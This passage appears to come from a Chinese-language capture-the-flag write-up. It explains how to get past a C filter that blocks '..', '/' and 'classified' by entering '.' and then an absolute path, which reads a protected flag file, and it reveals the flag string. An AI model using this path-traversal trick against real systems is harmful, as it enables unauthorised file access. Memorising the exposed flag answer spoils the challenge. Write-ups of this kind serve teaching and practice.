(strstr(category, "..") || strstr(category, "/") || strstr(category, "classified")) { puts("Hacker!"); exit(0xdead); } ``` 回去看到exploit,輸入順序為:`S` -> `.` -> `R` -> `/home/chal/classified/flag` 前面`S`先用`.`,代表的是當前目錄,用來繞過`..` / `/` / `classified` 後面`R`再設定絕對路徑`/home/chal/classified/flag` 串接後,完整的系統查詢路徑就變成:`./home/chal/classified/flag` 提交exploit: > NHNC{sneaked_into_forbidden_zone}